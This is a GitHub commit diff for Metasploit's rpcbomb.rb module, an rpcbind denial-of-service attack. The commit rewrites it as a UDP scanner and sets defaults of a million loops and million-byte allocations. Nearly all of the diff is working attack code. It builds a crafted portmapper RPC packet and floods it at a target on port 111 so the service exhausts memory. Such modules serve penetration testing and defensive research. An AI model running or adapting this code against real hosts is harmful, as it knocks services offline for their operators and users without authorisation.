Skip to content

Commit a5805a5

Browse files
author
Brent Cook
committed
make this a UDPScanner, rewrite
1 parent 8c39c92 commit a5805a5

File tree

1 file changed

+29
-36
lines changed

1 file changed

+29
-36
lines changed

modules/auxiliary/dos/rpc/rpcbomb.rb

Lines changed: 29 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
class MetasploitModule < Msf::Auxiliary
77

88
include Msf::Auxiliary::Dos
9-
# include Exploit::Remote::Udp
9+
include Msf::Auxiliary::UDPScanner
1010

1111
def initialize(info={})
1212
super(update_info(info,
@@ -32,49 +32,42 @@ def initialize(info={})
3232

3333
register_options([
3434
Opt::RPORT(111),
35-
OptAddress.new('RHOST', [true, 'RPC server target']),
36-
OptInt.new('ALLOCSIZE', [true, 'Number of bytes to allocate']),
37-
OptInt.new('COUNT', [false, "Number of intervals to loop",1])
35+
OptInt.new('ALLOCSIZE', [true, 'Number of bytes to allocate', 1000000]),
36+
OptInt.new('COUNT', [false, "Number of intervals to loop", 1000000])
3837
])
3938
end
4039

40+
def scan_host(ip)
41+
pkt = [
42+
0, # xid
43+
0, # message type CALL
44+
2, # RPC version 2
45+
100000, # Program
46+
4, # Program version
47+
9, # Procedure
48+
0, # Credentials AUTH_NULL
49+
0, # Credentials length 0
50+
0, # Credentials AUTH_NULL
51+
0, # Credentials length 0
52+
0, # Program: 0
53+
0, # Ver
54+
4, # Proc
55+
4, # Argument length
56+
datastore['ALLOCSIZE'] # Payload
57+
].pack('N*')
4158

42-
43-
def run
44-
require 'socket'
45-
46-
pkt = [0].pack('N') # xid
47-
pkt << [0].pack('N') # message type CALL
48-
pkt << [2].pack('N') # RPC version 2
49-
pkt << [100000].pack('N') # Program
50-
pkt << [4].pack('N') # Program version
51-
pkt << [9].pack('N') # Procedure
52-
pkt << [0].pack('N') # Credentials AUTH_NULL
53-
pkt << [0].pack('N') # Credentials length 0
54-
pkt << [0].pack('N') # Credentials AUTH_NULL
55-
pkt << [0].pack('N') # Credentials length 0
56-
pkt << [0].pack('N') # Program: 0
57-
pkt << [0].pack('N') # Ver
58-
pkt << [4].pack('N') # Proc
59-
pkt << [4].pack('N') # Argument length
60-
pkt << [datastore['ALLOCSIZE']].pack('N') # Payload
61-
62-
s = UDPSocket.new
59+
s = udp_socket(ip, datastore['RPORT'])
6360
count = 0
6461
while count < datastore['COUNT'] do
65-
s.send(pkt, 0, datastore['RHOST'], datastore['RPORT'])
62+
begin
63+
s.send(pkt, 0)
64+
rescue ::Errno::ENOBUFS, ::Rex::ConnectionError, ::Errno::ECONNREFUSED
65+
vprint_error("Host #{ip} unreachable")
66+
break
67+
end
6668
count += 1
6769
end
6870

69-
sleep 1.5
70-
71-
begin
72-
s.recvfrom_nonblock(9000)
73-
rescue
74-
print_error("No response from server received.")
75-
return
76-
end
77-
78-
print_good("Completed #{datastore['COUNT']} loop(s) of allocating #{datastore['ALLOCSIZE']} bytes at host #{datastore['RHOST']}:#{datastore['RPORT']}")
71+
vprint_good("Completed #{count} loop(s) of allocating #{datastore['ALLOCSIZE']} bytes on host #{ip}:#{datastore['RPORT']}")
7972
end
8073
end

0 commit comments

Comments
 (0)